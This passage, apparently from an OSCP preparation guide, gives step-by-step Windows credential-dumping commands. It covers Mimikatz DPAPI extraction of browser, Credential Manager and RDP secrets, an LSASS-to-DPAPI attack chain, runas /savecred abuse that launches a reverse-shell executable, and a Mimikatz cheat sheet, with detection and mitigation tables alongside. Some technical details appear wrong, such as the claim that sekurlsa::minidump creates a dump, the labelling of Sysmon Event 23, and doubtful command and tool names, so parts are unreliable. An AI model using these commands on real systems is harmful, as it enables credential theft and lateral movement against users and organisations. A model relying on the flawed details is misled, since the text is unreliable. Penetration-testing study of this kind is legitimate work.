      +-------+-------+
      |               |
      v               v
Protected    Protected    Protected    ...
   Blob         Blob         Blob
(browser)    (WiFi)     (RDP)

Prerequisites

Requirement Details
User context or NTLM hash Need the target user’s credentials or their NTLM hash
Access to user’s profile Need read access to %APPDATA%\Microsoft\Protect\
Master key location C:\Users\<user>\AppData\Roaming\Microsoft\Protect\<SID>\

Step-by-Step: Chrome/Edge Credential Extraction

Method 1: Using Mimikatz dpapi::chrome

# Chrome credentials
mimikatz # dpapi::chrome /in:"C:\Users\user\AppData\Local\Google\Chrome\User Data\Login Data"

# Edge credentials
mimikatz # dpapi::chrome /in:"C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Login Data" /browser:edge

# Chrome with specific master key
mimikatz # dpapi::chrome /in:"C:\Users\user\AppData\Local\Google\Chrome\User Data\Login Data" /masterkey:abcdef0123456789...

# Output example:
# [*] Chrome : 'C:\Users\user\AppData\Local\Google\Chrome\User Data\Login Data'
#   URL: https://outlook.office365.com
#   Action: https://login.microsoftonline.com/common/oauth2/authorize
#   Login: user@company.com
#   Password: Office365Pass!

Method 2: Using dpapi::masterkey + dpapi::blob

For more granular control:

# Step 1: Find the master key file
# Location: C:\Users\<user>\AppData\Roaming\Microsoft\Protect\<SID>\
dir C:\Users\user\AppData\Roaming\Microsoft\Protect\*

# Step 2: Extract the master key using the user's password
mimikatz # dpapi::masterkey /in:"C:\Users\user\AppData\Roaming\Microsoft\Protect\SID\key_file" /password:UserPassword123

# Or using the NTLM hash (more common after LSASS dump)
mimikatz # dpapi::masterkey /in:"C:\Users\user\AppData\Roaming\Microsoft\Protect\SID\key_file" /ntlm:8846f7eaee8fb117ad06bdd830b7586c

# This outputs the decrypted master key in hex

# Step 3: Use the master key to decrypt a DPAPI blob
mimikatz # dpapi::blob /in:protected_blob.bin /masterkey:decrypted_master_key_hex

Step-by-Step: Windows Credential Manager

# Extract all Windows Credential Manager entries
mimikatz # dpapi::cred

# Output example:
# [*] Credential : Target: Domain:target_server
#   Type: Generic
#   Username: admin_user
#   Password: P@ssw0rd!

Step-by-Step: Firefox Credentials

# Firefox uses a different key storage mechanism
mimikatz # dpapi::firefox

# Or specify the profile path
mimikatz # dpapi::firefox /path:"C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\xxxxxxxx.default"

Step-by-Step: RDP Saved Credentials

# RDP credentials are stored as DPAPI blobs in the registry
# Location: HKCU\Software\Microsoft\Terminal Server Client\Default
# And per-server: HKCU\Software\Microsoft\Terminal Server Client\Servers\<server>\

# Extract using dpapi::cred (covers RDP credentials stored in Credential Manager)
mimikatz # dpapi::cred

Step-by-Step: WiFi Passwords

WiFi passwords are also DPAPI-protected:

# Method 1: Using netsh (if you have the right privileges)
netsh wlan show profiles
netsh wlan show profile name="WiFi_Name" key=clear

# Method 2: Using DPAPI (for programmatic extraction)
# WiFi profiles are stored in:
# C:\ProgramData\Microsoft\WlanSvc\{user_SID}\Profiles\
# These are DPAPI-protected and can be decrypted with dpapi::blob

Complete Attack Chain: LSASS → DPAPI

This is the most common and effective workflow:

# Phase 1: Get the user's NTLM hash from LSASS
mimikatz # privilege::debug
mimikatz # sekurlsa::minidump
mimikatz # sekurlsa::logonpasswords
# Note the NTLM hash for the target user

# Phase 2: Extract master key using the NTLM hash
mimikatz # dpapi::masterkey /in:"C:\Users\user\AppData\Roaming\Microsoft\Protect\SID\key" /ntlm:NOTED_HASH

# Phase 3: Decrypt browser credentials
mimikatz # dpapi::chrome /masterkey:EXTRACTED_MASTER_KEY

# Phase 4: Decrypt Windows Credential Manager entries
mimikatz # dpapi::cred

DPAPI on Domain-Joined vs. Workgroup Machines

Aspect Domain-Joined Workgroup
Master key encryption Encrypted with domain controller’s machine key + user hash Encrypted with user’s NTLM hash only
Decryption requirement Need user’s password/hash OR domain machine key Need user’s password/hash
Cross-machine decryption Possible with domain machine key Not possible (key is local)
Attacker advantage Domain compromise gives access to all users’ DPAPI data Must compromise each machine individually

Detection and Mitigation

Detection Mitigation
Monitor for DPAPI master key access Use application-level encryption instead of DPAPI for critical data
Alert on Chrome/Edge Login Data file access Implement browser password managers with master passwords
Monitor for dpapi:: command execution Restrict access to user profile directories
Sysmon Event 23 (PipeEvent) for DPAPI-related activity Enable BitLocker for disk-level encryption
Monitor for mass credential extraction patterns Use privileged access management (PAM) solutions

OSCP Exam Relevance

Medium-High Priority — DPAPI extraction is increasingly common on OSCP machines, especially Windows 10 workstations.

  • dpapi::chrome is your fastest path to browser credentials
  • Combine with LSASS dumping: get the NTLM hash first, then use it for DPAPI
  • Look for browser login data as a source of cloud account credentials (O365, AWS, etc.)
  • dpapi::cred can reveal saved RDP and SMB credentials for lateral movement
  • On domain-joined machines, the domain compromise makes DPAPI trivial

Common Pitfalls

Problem Cause Solution
dpapi::chrome returns nothing No saved passwords, or Chrome not installed Check if Login Data file exists; try Edge
Master key decryption fails Wrong NTLM hash or password Verify the hash from sekurlsa::logonpasswords output
dpapi::cred shows encrypted blobs Master key not available Extract master key first using dpapi::masterkey
File path errors Wrong user profile path Verify the path exists; check for roaming vs. local profiles

4.5 Credential Manager Access

Understanding Windows Credential Manager

Windows Credential Manager is a built-in Windows feature that stores usernames, passwords, and certificates for applications and services. It has two main stores:

Store Type Description Examples
Generic Credentials Username/password pairs for applications RDP connections, SMB shares, custom apps
Windows Credentials Credentials for Windows resources Network shares, mapped drives, WebDAV
Certificates Stored certificates for authentication Smart card certs, client certificates
Windows Hello Biometric and PIN data Fingerprint, face recognition, PIN

Storage locations:

Credential Type Storage Path
Generic/Windows creds %APPDATA%\Microsoft\Protect\<SID>\ (DPAPI-protected)
Credential files %LOCALAPPDATA%\Microsoft\Protect\
Registry HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings

Enumerating Stored Credentials

Method 1: cmdkey Command-Line Tool

# List all stored credentials
cmdkey /list

# Output example:
# Currently stored credentials:
#
# Target: Domain:target=FILESERVER\user
# Type: Generic
# User: user
#
# Target: Domain:target=TERMSRV/dc.domain.com
# Type: Domain Password
# User: DOMAIN\admin

Key flags:

Flag Purpose
cmdkey /list List all stored credentials
cmdkey /add:target /user:username /pass:password Add a new credential
cmdkey /delete:target Delete a stored credential
cmdkey /remove:target Same as delete

Method 2: Credential Manager GUI

1. Open Control Panel → User Accounts → Credential Manager
2. View "Windows Credentials" or "Web Credentials"
3. Expand entries to see stored usernames and passwords

Method 3: Registry Access

# Windows credentials are stored in the registry
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings

# Credential blobs are DPAPI-encrypted in:
dir %APPDATA%\Microsoft\Protect\

Method 4: Mimikatz dpapi::cred

# This is the most comprehensive method
mimikatz # dpapi::cred

# Output shows decrypted credentials:
# [*] Credential : Target: Domain:target=TERMSRV/dc.domain.com
#   Type: Domain Password
#   Username: DOMAIN\admin
#   Password: AdminP@ss123

Attack Technique: runas /savecred

One of the most powerful OSCP-relevant techniques involving Credential Manager is the runas /savecred abuse:

Concept: If an attacker can trick a high-privilege user into saving their credentials for a target, the attacker can later use runas /savecred to execute commands as that user without needing the password again.

# Step 1: (As the high-privilege user, or after tricking them)
# A credential is saved for a target
cmdkey /add:TARGET_SERVER /user:DOMAIN\admin /pass:Password123

# Step 2: (As the attacker, using the saved credential)
# Execute a command as the saved user — NO password needed!
runas /savecred /user:DOMAIN\admin "cmd.exe"

# Or connect to a share
runas /savecred /user:DOMAIN\admin "cmdkey /add:ANOTHER_SERVER /user:DOMAIN\admin /pass:Password123"

# Or execute a reverse shell
runas /savecred /user:DOMAIN\admin "C:\temp\reverse_shell.exe"

Why this is dangerous:

  1. The /savecred flag tells Windows to use the already-stored credential
  2. Windows does NOT prompt for a password — it uses the cached credential
  3. The attacker can execute any command as the high-privilege user
  4. This works even if the high-privilege user is no longer logged in

Real-world OSCP scenario:

1. You compromise a low-privilege user
2. You find that a Domain Admin has a saved credential for a server you control
3. You use runas /savecred to execute commands as the Domain Admin
4. Domain Admin achieved without knowing the password

Attack Technique: Credential Harvesting via Scheduled Tasks

# Create a scheduled task that runs with saved credentials
schtasks /create /tn "Update" /tr "C:\temp\payload.exe" /sc ONCE /st 14:00 /ru "DOMAIN\admin" /rp "Password123"

# Or abuse existing saved credentials
schtasks /run /tn "ExistingTask"

Practical Workflow: From Enumeration to Exploitation

# Step 1: Enumerate stored credentials
cmdkey /list

# Step 2: If credentials found, try to use them
# For RDP connections
mstsc /v:target_server

# For SMB shares
dir \\target_server\C$

# Step 3: If you have admin access, decrypt with Mimikatz
mimikatz # dpapi::cred

# Step 4: Use extracted credentials for lateral movement
# Pass the extracted password/hash to Impacket or other tools

Detection and Mitigation

Detection Mitigation
Monitor cmdkey command execution Audit and restrict credential storage policies
Alert on runas /savecred usage Implement Group Policy to restrict saved credentials
Monitor for new credential additions Use just-in-time (JIT) admin access instead of saved creds
Sysmon Event 1 (ProcessCreate) for runas.exe Regularly audit Credential Manager contents
Monitor Event 4624 (Logon) with saved credential logon type Use MFA for administrative access

OSCP Exam Relevance

Medium Priority — Credential Manager abuse, especially runas /savecred, has appeared on OSCP exams.

  • Always run cmdkey /list after gaining access to a Windows machine
  • If you see saved credentials, immediately try runas /savecred
  • Combine with dpapi::cred for decrypted credential access
  • Look for RDP and SMB saved credentials — these are gold mines for lateral movement
  • Remember: runas /savecred does NOT require the password if the credential is already saved

Common Pitfalls

Problem Cause Solution
cmdkey /list shows nothing No credentials saved, or wrong user context Run as the target user; check other users’ profiles
runas /savecred fails No saved credential for that target Add the credential first with cmdkey /add
dpapi::cred shows encrypted data Master key not available Extract master key using dpapi::masterkey with NTLM hash
Credentials visible in GUI but not via cmdkey Different credential store Use Credential Manager GUI or Mimikatz dpapi::cred

Quick Reference: Credential Dumping Cheat Sheet

Mimikatz Command Quick Reference

# === ALWAYS START WITH ===
privilege::debug

# === LSASS EXTRACTION ===
sekurlsa::minidump                    # Create dump (modern Windows)
sekurlsa::logonpasswords              # Extract all credentials
sekurlsa::logonpasswords /user:admin  # Extract for specific user
sekurlsa::kerberos                    # Kerberos credentials only
sekurlsa::wdigest                     # WDigest plaintext passwords
sekurlsa::mscache                     # Cached NTLMv2 hashes
sekurlsa::tickets /export             # Export all Kerberos tickets

# === KERBEROS ===
kerberos::list                        # List current session tickets
kerberos::ptt ticket.kirbi            # Inject a ticket

# === SAM ===
lsadump::sam                          # Dump local account hashes

# === DCSYNC ===
lsadump::dcsync /user:domain\krbtgt   # Extract krbtgt hash
lsadump::dcsync /user:domain\admin    # Extract specific user

# === DPAPI ===
dpapi::chrome                         # Chrome/Edge browser creds
dpapi::cred                           # Windows Credential Manager
dpapi::masterkey /in:path /ntlm:HASH  # Extract master key

# === TOKEN ===
token::elevate                        # Elevate to SYSTEM
token::revert                         # Revert to original token

Decision Tree: Which Method to Use?

Do you have SYSTEM/Admin privileges?
├── NO → Focus on user-level techniques (DPAPI with known password, cmdkey)
└── YES
    ├── Is it a domain-joined machine?
    │   ├── YES → sekurlsa::logonpasswords (domain creds in LSASS)
    │   │          lsadump::dcsync (if DA rights)
    │   └── NO  → lsadump::sam (local hashes)
    │              sekurlsa::logonpasswords
    ├── Is it modern Windows (10+/Server 2019+)?
    │   ├── YES → Use minidump method (sekurlsa::minidump → sekurlsa::logonpasswords)
    │   └── NO  → Direct injection works (sekurlsa::logonpasswords)
    └── Do you need browser/app credentials?
        └── YES → dpapi::chrome, dpapi::cred

Hash Cracking Quick Reference

Hash Type Hashcat Mode Command
NTLM 1000 hashcat -m 1000 hashes.txt rockyou.txt -O
Kerberos TGS (RC4) 13100 hashcat -m 13100 hashes.txt rockyou.txt -O
Kerberos TGS (AES) 19600 hashcat -m 19600 hashes.txt rockyou.txt
Kerberos AS-REP (RC4) 18200 hashcat -m 18200 hashes.txt rockyou.txt -O
NetNTLMv2 5600 hashcat -m 5600 hashes.txt rockyou.txt -O

Tool Alternatives When Mimikatz Is Blocked

Technique Alternative Tool Notes
LSASS dumping Procdump + Mimikatz offline Procdump is a Microsoft tool; less suspicious
LSASS dumping Task Manager dump Built-in; no tools needed
LSASS dumping RuneGod / NinjaDump Open-source alternatives
Credential extraction LaZagne Python-based; extracts from many apps
Browser credentials BrowserGhost Specialized browser credential extractor
SAM extraction Impacket secretsdump.py Python-based; works remotely
DPAPI decryption dpapi.net .NET library for DPAPI operations

This guide covers the complete credential dumping landscape for OSCP preparation. Master these techniques, understand when to use each method, and always have a fallback approach ready.